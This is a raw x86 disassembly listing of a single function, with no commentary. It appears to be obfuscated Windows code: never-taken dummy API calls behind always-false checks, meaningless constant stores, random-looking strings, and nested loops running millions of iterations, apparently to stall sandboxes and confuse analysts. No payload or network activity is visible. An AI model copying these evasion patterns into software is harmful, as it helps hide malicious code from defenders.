mov edx, dword [ebp - 0x778]
mov eax, dword [ebp - 0x28]
xor ecx, ecx
cmp eax, dword [edx + 4]
setl cl
mov dword [ebp - 0xbb0], ecx
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], al
je 0x46b4e2
push eax
push 0x20b8
push 0x613
push 0x20a7
call dword [sym.imp.GDI32.dll_SetDIBColorTable]
lea ecx, [ebp - 0x778]
call fcn.00450e01
lea ecx, [ebp - 0x3e8]
call fcn.00450e01
mov eax, dword [ebp - 0x1cc]
add eax, 4
inc dword [eax]
or esi, 0xffffffff
jmp 0x46b2a3
lea ecx, [ebp - 0x1cc]
call fcn.00450e01
mov dword [ebp - 0x7c], 0xbdde
mov dword [ebp - 0x78], 0xbdde
mov dword [ebp - 0x74], 0xbdde
mov dword [ebp - 0x70], 0xbdde
mov dword [ebp - 0x2c], 0xfffffffa
mov dword [ebp - 0x4f0], 0xf33f
mov dword [ebp - 0x4ec], 0xf33f
mov dword [ebp - 0x4e8], 0xf33f
mov dword [ebp - 0x4e4], 0xf33f
mov dword [ebp - 0x30], 0x24307a32
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 4
jge 0x46b58c
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xd4c], 0xfffffff6
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x46b573
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x46b5a9
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jg 0x46b668
push ebx
lea ecx, [ebp - 0x340]
call fcn.00450d2f
xor eax, eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jge 0x46b5e9
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x340]
mov dword [eax + ecx*4], 0x4ccb63e8
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x46b5cf
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x46b603
push 0x2564
push 0x1c1a
push eax
call dword [sym.imp.USER32.dll_CheckMenuItem]
mov eax, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x4f0]
dec edx
neg edx
sbb edx, edx
neg edx
xor ecx, ecx
mov eax, dword [ebp - 0x340]
cmp dword [eax], edx
sete cl
mov eax, dword [ebp - 0x4f0]
imul eax, ecx
test eax, eax
jne 0x46b63c
mov eax, dword [ebp - 0x340]
cmp dword [eax], 0
jne 0x46b63c
xor edx, edx
jmp 0x46b63e
mov edx, edi
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
cmp edx, eax
sete cl
mov dword [ebp - 0xd40], ecx
lea ecx, [ebp - 0x340]
call fcn.00450e01
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jle 0x46b5b6
xor eax, eax
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x38], 0x549e
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x54], edi
mov dword [ebp - 0x28], 0x85ba5616
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x20], eax
jmp 0x46b694
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xcec], esi
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x46b687
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x54]
mov ecx, edi
sub ecx, eax
je 0x46b6c5
cmp dword [ebp - 0x24], 0
je 0x46b6c5
mov edx, edi
jmp 0x46b6c7
xor edx, edx
mov eax, dword [ebp - 0x24]
xor ecx, ecx
cmp edx, eax
sete cl
mov dword [ebp - 0x28], ecx
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x38]
xor edx, edx
cmp ecx, eax
setge dl
mov dword [ebp - 0xcec], edx
mov eax, dword [ebp - 0x24]
neg edx
sub edx, eax
neg edx
sbb edx, edx
inc edx
xor eax, eax
cmp edx, 0x2c0d
setg al
mov ecx, dword [ebp - 0x24]
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x7c], 0xbdde
mov dword [ebp - 0x78], 0xbdde
mov dword [ebp - 0x74], 0xbdde
mov dword [ebp - 0x70], 0xbdde
mov dword [ebp - 0x2c], 0xfffffffa
mov dword [ebp - 0x508], 0xf33f
mov dword [ebp - 0x504], 0xf33f
mov dword [ebp - 0x500], 0xf33f
mov dword [ebp - 0x4fc], 0xf33f
mov dword [ebp - 0x30], 0x24307a32
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 4
jge 0x46b781
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xd64], 0xfffffff6
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x46b768
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x46b79e
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x46b84c
push ebx
lea ecx, [ebp - 0x400]
call fcn.00450d2f
xor eax, eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jge 0x46b7d9
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x400]
mov dword [eax + ecx*4], 0x4ccb63e8
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x46b7bf
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x46b7f3
push 0x2564
push 0x1c1a
push eax
call dword [sym.imp.USER32.dll_CheckMenuItem]
mov eax, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x508]
dec edx
neg edx
sbb edx, edx
neg edx
xor ecx, ecx
mov eax, dword [ebp - 0x400]
cmp dword [eax], edx
sete cl
mov eax, dword [ebp - 0x508]
imul eax, ecx
test eax, eax
jne 0x46b82c
mov eax, dword [ebp - 0x400]
cmp dword [eax], 0
jne 0x46b82c
xor edx, edx
jmp 0x46b82e
mov edx, edi
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
cmp edx, eax
sete cl
mov dword [ebp - 0xd58], ecx
lea ecx, [ebp - 0x400]
call fcn.00450e01
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jle 0x46b7a6
push edi
lea ecx, [ebp - 0x370]
call fcn.00450d2f
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x58], 0xfffffff9
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x38], 0xb6046e74
mov dword [ebp - 0x3c], 0x9172ddb7
push 4
lea ecx, [ebp - 0x5c8]
call fcn.00450d2f
mov dword [ebp - 0x28], 0x80bfe737
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x24], 0xdbfd
mov dword [ebp - 0x2c], 0
jmp 0x46b8bd
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x5c8]
mov dword [eax + ecx*4], edi
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 4
jl 0x46b8ae
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
dec dword [ebp - 0x28]
cmp eax, 0x14
jge 0x46b8d7
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x20]
mov esi, dword [ebp - 0x5c8]
xor eax, eax
cmp dword [esi + 8], edi
setl al
mov ecx, dword [ebp - 0x58]
add ecx, eax
mov eax, dword [ebp - 0x20]
xor edx, edx
cmp eax, ecx
setg dl
mov eax, dword [ebp - 0x50]
xor ecx, ecx
cmp edx, eax
setne cl
cmp dword [ebp - 0x20], ecx
jne 0x46b912
xor eax, eax
cmp dword [ebp - 0x38], eax
mov ecx, eax
je 0x46b914
mov ecx, edi
mov eax, dword [ebp - 0x18]
sub ecx, eax
dec ecx
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x20]
xor edx, edx
cmp eax, ecx
setle dl
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x3c]
mov dword [esi + 8], edi
mov ecx, dword [ebp - 0x20]
inc ecx
mov eax, dword [ebp - 0x58]
xor edx, edx
cmp ecx, eax
setl dl
mov eax, dword [ebp - 0x48]
xor ecx, ecx
cmp edx, eax
setne cl
sub ecx, dword [ebp - 0x18]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x50], ecx
inc dword [ebp - 0x24]
lea ecx, [ebp - 0x5c8]
call fcn.00450e01
mov dword [ebp - 0x1c], 9
mov dword [ebp - 0x54], 0xfffffff7
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 4
jge 0x46b999
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x930], 0xa8eac8b
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x46b980
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x46b9b3
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x46b9b0
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jle 0x46b99e
mov dword [ebp - 0x1c], 0x11
jmp 0x46baf3
mov dword [ebp - 0x3c], 0xa4d9a54e
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], edi
jge 0x46b9ec
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x84], 0xfffffff9
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x46b9d4
xor eax, eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0xfffffff9
jle 0x46baf0
mov dword [ebp - 0x24], 0x836b16b4
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x24], 0
jmp 0x46bad1
mov dword [ebp - 0x3c], 0xfffffff8
mov dword [ebp - 0x20], 0
jmp 0x46ba35
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xb4], edi
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x46ba28
mov dword [ebp - 0xb4], 0
jmp 0x46bac1
mov dword [ebp - 0x54], 0xdba1dd79
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x930]
xor edx, edx
test eax, eax
setne dl
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x930]
xor ecx, ecx
cmp edx, 0xffffffff
setge cl
mov eax, dword [ebp - 0x84]
xor edx, edx
cmp ecx, eax
setne dl
mov eax, dword [ebp - 0x924]
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x930]
add eax, 0x3a7e
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x3c], 0xfffffff6
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x54], eax
inc dword [ebp - 0xb4]
cmp dword [ebp - 0xb4], 3
jle 0x46ba46
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jle 0x46ba18
dec dword [ebp - 0x84]
cmp dword [ebp - 0x84], 0xfffffff9
jg 0x46b9ff
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x14
jge 0x46b9c5
mov dword [ebp - 0x1c], 6
push edi
lea ecx, [ebp - 0x240]
call fcn.00450d2f
mov dword [ebp - 0x18], 0x4caa8e55
or esi, 0xffffffff
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x30], 9
mov dword [ebp - 0x48], 0xbe92e3f9
mov dword [ebp - 0x30], 6
mov dword [ebp - 0x5c], 0x3de467b4
xor eax, eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x3c], 0xedb6b7be
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x54], 0x870b1b9b
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], edi
jge 0x46bb74
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x240]
mov dword [eax + ecx*4], 0x2a1836cc
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x46bb5a
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xfffffff2
jne 0x46bbc5
push ebx
lea ecx, [ebp - 0x8b0]
call fcn.00450d2f
mov dword [ebp - 0x20], 0
jmp 0x46bba2
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x8b0]
and dword [eax + ecx*4], 0
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x46bb92
mov eax, dword [ebp - 0x8b0]
inc dword [eax]
lea ecx, [ebp - 0x8b0]
call fcn.00450e01
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffff2
je 0x46bb7d
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jg 0x46be21
push 3
lea ecx, [ebp - 0x790]
call fcn.00450d2f
mov dword [ebp - 0x30], 0xc9995890
mov dword [ebp - 0x30], 0x8939f5fa
mov dword [ebp - 0x30], 0xe6b6cd3
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x30], 0xfffffffa
mov dword [ebp - 0x30], 0xee56e31b
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x3c], 0x50d4
cmp dword [ebp - 0x3c], 0x525c
jle 0x46bc76
push 0x15fe
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
xor edi, edi
xor esi, esi
mov eax, esi
xor eax, edi
cdq
push edx
push eax
lea ecx, [ebp - 0x102c]
call fcn.00401993
pop ecx
pop ecx
mov ecx, eax
call fcn.00450c0f
push eax
call fcn.004b40b7
pop ecx
push 0
push 1
lea ecx, [ebp - 0x102c]
call fcn.0045110b
inc esi
cmp esi, 0x595e
jl 0x46bc2d
inc edi
cmp edi, 0x823
jl 0x46bc2b
xor edi, edi
inc edi
or esi, 0xffffffff
mov dword [ebp - 0x30], esi
push 4
pop ebx
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x3c], 0x4d1a
jge 0x46bc93
push str.evjdxlrv_vxgdxnb_rwurswunj_dfsdb_uarl_qupezcc_fqichturs_gtt_ublsgkz_rzanodd_couidnu
call fcn.004b40b7
pop ecx
mov dword [ebp - 4], esi
jmp 0x46bcbe
push ebx
lea ecx, [ebp - 0x5e0]
call fcn.00450d2f
xor eax, eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 3
jge 0x46bcf0
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x790]
mov dword [eax + ecx*4], 0x83066c93
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], 3
jl 0x46bcd5
xor eax, eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], ebx
jge 0x46bd0e
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x5e0]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], ebx
jl 0x46bcf8
xor eax, eax
mov ebx, dword [ebp - 0x790]
mov dword [ebx + 4], eax
mov ecx, dword [ebp - 0x5e0]
mov dword [ebp - 0x58], ecx
jmp 0x46bd24
xor eax, eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x20], eax
jmp 0x46bd3d
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x2bc], 0xaa61fc2d
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x46bd2c
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x38]
xor ecx, ecx
cmp eax, edi
setle cl
sub ecx, dword [ebp - 0x4c]
mov edx, dword [ebp - 0x5c]
sub edx, dword [ebp - 0x48]
neg edx
sbb edx, edx
inc edx
sub edx, ecx
neg edx
sbb edx, edx
inc edx
mov eax, dword [ebp - 0x240]
add edx, dword [eax + esi*4]
jne 0x46bd86
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x240]
cmp dword [eax + ecx*4], edx
je 0x46bd88
mov edx, edi
dec dword [ebp - 0x28]
mov esi, dword [ebp - 0x28]
mov dword [ebp - 0x2bc], esi
mov edi, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
cmp edx, eax
sete cl
mov eax, dword [ebp - 0x38]
xor edx, edx
cmp ecx, eax
setne dl
mov eax, dword [ebp - 0x58]
sub edx, dword [eax + 4]
mov ecx, dword [ebp - 0x18]
add ecx, esi
add ecx, edx
xor edx, edx
mov eax, dword [ebp - 0x240]
cmp dword [eax + edi*4], ecx
sete dl
add edx, 7
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp edx, eax
setg cl
mov dword [ebp - 0x3c], ecx
inc dword [ebx + 4]
cmp dword [ebx + 4], 0
push 1
pop edi
jle 0x46bd22
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], al
je 0x46bdfb
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.GDI32.dll_ExtCreatePen]
lea ecx, [ebp - 0x5e0]
call fcn.00450e01
lea ecx, [ebp - 0x790]
call fcn.00450e01
inc dword [ebp - 0x1c]
xor eax, eax
xor edi, edi
inc edi
or esi, 0xffffffff
jmp 0x46bbc8
lea ecx, [ebp - 0x240]
call fcn.00450e01
mov dword [ebp - 0x20], 0
jmp 0x46be48
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x370]
mov dword [eax + ecx*4], 0x91a049fe
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x46be35
push 2
pop ebx
push ebx
lea ecx, [ebp - 0xb4c]
call fcn.00450d2f
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x46be7b
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x6c], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x46be66
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x46be9d
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xb4c]
mov dword [eax + ecx*4], 0x405b4019
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x46be83
xor eax, eax
mov dword [ebp - 0x6c], eax
jmp 0x46bf6f
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x50], 0xfffffffc
jmp 0x46bf62
mov dword [ebp - 0x2c], 0x822e6e7f
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x46bed7
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xa90], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x46bec3
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x46bef7
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xaf0], 0x55a6
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x46bedf
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x46bf5a
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x30], 0xe26595ad
mov dword [ebp - 0x18], edi
cmp dword [ebp - 0x18], eax
jl 0x46bf57
push edi
lea ecx, [ebp - 0x5f8]
call fcn.00450d2f
mov dword [ebp - 0x20], 0
jmp 0x46bf32
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x5f8]
mov dword [eax + ecx*4], esi
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x46bf23
mov ecx, dword [ebp - 0xaf0]
mov eax, dword [ebp - 0x5f8]
mov dword [eax], ecx
lea ecx, [ebp - 0x5f8]
call fcn.00450e01
dec dword [ebp - 0x18]
jns 0x46bf0e
xor eax, eax
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], edi
jle 0x46befc
dec dword [ebp - 0x50]
cmp dword [ebp - 0x50], 0xffffffee
jge 0x46beb4
dec dword [ebp - 0x6c]
cmp dword [ebp - 0x6c], 0xffffffe4
jge 0x46bea5
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x6c], eax
lea ecx, [ebp - 0xb4c]
call fcn.00450e01
mov dword [ebp - 0x38], 0x58ed
push ebx
lea ecx, [ebp - 0x610]
call fcn.00450d2f
mov dword [ebp - 0x18], 0x6c9cd49f
mov dword [ebp - 0x28], 0
push ebx
lea ecx, [ebp - 0x88c]
call fcn.00450d2f
xor eax, eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x6095dbc2
mov dword [ebp - 0x20], 0xfc167656
mov dword [ebp - 0x3c], 0x13ed423c
mov dword [ebp - 0x54], edi
mov dword [ebp - 0x3c], 0x77bb
cmp dword [ebp - 0x3c], 0x7b26
jle 0x46c049
mov ebx, eax
jmp 0x46bfea
xor eax, eax
mov edi, eax
jmp 0x46bff0
xor eax, eax
mov esi, eax
mov eax, esi
xor eax, edi
xor eax, ebx
cdq
push edx
push eax
lea ecx, [ebp - 0xdf8]
call fcn.00401993
pop ecx
pop ecx
mov ecx, eax
call fcn.00450c0f
push eax
call fcn.004b40b7
pop ecx
push 0
push 1
lea ecx, [ebp - 0xdf8]
call fcn.0045110b
inc esi
cmp esi, 0x4511
jl 0x46bff2
inc edi
cmp edi, 0x6839
jl 0x46bfee
inc ebx
cmp ebx, 0x156
jl 0x46bfe8
xor edi, edi
inc edi
push 2
pop ebx
or esi, 0xffffffff
mov dword [ebp - 4], 6
cmp dword [ebp - 0x3c], 0x7471
jge 0x46c064
push str.tdn_weadqyf_sijnouxwb_ycau_wtrbbln_pty_hchnocfzv_spzgw_myehe
call fcn.004b40b7
pop ecx
mov dword [ebp - 4], esi
jmp 0x46c08d
push 0xfffffffffffffffb
pop esi
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x46c0b4
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x610]
mov dword [eax + ecx*4], 0x87a7525d
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x46c09a
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x46c0cc
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x88c]
mov dword [eax + ecx*4], 0x7e815f84
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x46c0b9
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x610]
mov dword [eax + 4], edx
mov dword [ebp - 0x28], edi
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
imul ecx, eax
mov eax, dword [ebp - 0x88c]
mov dword [eax + 4], ecx
mov eax, dword [ebp - 0x18]
neg ecx
xor ebx, ebx
cmp ecx, eax
setle bl
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp edx, eax
setg cl
xor edx, edx
cmp ecx, ebx
setg dl
xor eax, eax
cmp edx, esi
setne al
cmp eax, 0x49cec79e
jl 0x46c127
cmp dword [ebp - 0x28], 0
je 0x46c127
mov eax, edi
jmp 0x46c129
xor eax, eax
cmp eax, 0x886255d5
sbb edx, edx
neg edx
mov eax, dword [ebp - 0x38]
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x18]
sub eax, 0xffff1ef7
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x38]
xor edx, edx
cmp ecx, eax
setne dl
mov dword [ebp - 0x54], edx
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x46c1a0
mov dword [ebp - 0x20], eax
jmp 0x46c198
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x46c195
push 0x20f6
push 0xfe9
call dword [sym.imp.GDI32.dll_SetTextAlign]
xor eax, eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jle 0x46c17a
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xffffffee
jne 0x46c175
lea ecx, [ebp - 0x88c]
call fcn.00450e01
lea ecx, [ebp - 0x610]
call fcn.00450e01
mov eax, dword [ebp - 0x370]
and dword [eax], 0
push 2
pop esi
cmp dword [eax], 6
jl 0x46ce4b
mov dword [ebp - 0x1c], 0x5052061f
mov dword [ebp - 0x44], 0x31eb2391
mov dword [ebp - 0x20], 0xfffffffa
mov dword [ebp - 0x54], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
sbb ecx, ecx
inc ecx
mov eax, dword [ebp - 0x1c]
xor edx, edx
cmp ecx, eax
setge dl
mov eax, dword [ebp - 0x1c]
xor ebx, ebx
cmp edx, eax
setle bl
add ebx, esi
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp ebx, eax
setne cl
add ecx, dword [ebp - 0x1c]
xor eax, eax
cmp ecx, dword [ebp - 0x1c]
jle 0x46c227
cmp dword [ebp - 0x1c], eax
mov ecx, eax
je 0x46c229
mov ecx, edi
mov dword [ebp - 0x44], ecx
cmp dword [ebp - 0x44], eax
je 0x46c267
mov dword [ebp - 0x30], 0xfffffff8
mov dword [ebp - 0x3c], 0x7511ecbf
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3c]
xor eax, eax
cmp dword [ebp - 0x1c], eax
jl 0x46c253
cmp dword [ebp - 0x44], eax
mov edx, eax
je 0x46c255
mov edx, edi
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp edx, eax
sete cl
add ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x20], ecx
jmp 0x46c277
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x46c279
push eax
call dword [sym.imp.USER32.dll_DestroyMenu]
xor eax, eax
cmp dword [ebp - 0x20], eax
jne 0x46c2a5
mov eax, dword [ebp - 0x44]
xor eax, eax
cmp dword [ebp - 0x1c], eax
jne 0x46c290
cmp dword [ebp - 0x44], eax
jne 0x46c290
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
neg eax
sbb eax, eax
neg eax
add eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x20]
jg 0x46c2a5
xor ecx, ecx
jmp 0x46c2a7
mov ecx, edi
xor eax, eax
cmp ecx, 6
sete al
mov ecx, dword [ebp - 0x20]
sub ecx, eax
mov eax, dword [ebp - 0x1c]
xor edx, edx
cmp ecx, eax
setge dl
sub edx, 0x777f
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x20]
xor edx, edx
cmp eax, 0x7924
setg dl
add edx, dword [ebp - 0x44]
xor ecx, ecx
cmp edx, edi
setl cl
xor eax, eax
cmp ecx, 0xfffffffc
setg al
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
dec eax
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x58], 0xed080c17
mov dword [ebp - 0x40], 0xfffffff7
push esi
lea ecx, [ebp - 0x628]
call fcn.00450d2f
push esi
lea ecx, [ebp - 0xb64]
call fcn.00450d2f
mov dword [ebp - 0x54], 0xa1a4d63a
push 4
lea ecx, [ebp - 0x7a8]
call fcn.00450d2f
mov dword [ebp - 0x910], edi
mov dword [ebp - 0x90c], edi
mov dword [ebp - 0x908], edi
mov dword [ebp - 0x904], edi
mov dword [ebp - 0x18], 0x9d3388a0
mov dword [ebp - 0x30], 0xc895
mov dword [ebp - 0x30], 0x97689278
mov dword [ebp - 0x44], 0
jmp 0x46c375
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x628]
or dword [eax + ecx*4], 0xffffffff
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], esi
jl 0x46c365
mov dword [ebp - 0x44], 0
jmp 0x46c396
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0xb64]
mov dword [eax + ecx*4], 9
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], esi
jl 0x46c383
mov dword [ebp - 0x44], 0
jmp 0x46c3b3
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x7a8]
mov dword [eax + ecx*4], edi
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], 4
jl 0x46c3a4
mov dword [ebp - 0x44], 0
jmp 0x46c3d3
mov eax, dword [ebp - 0x44]
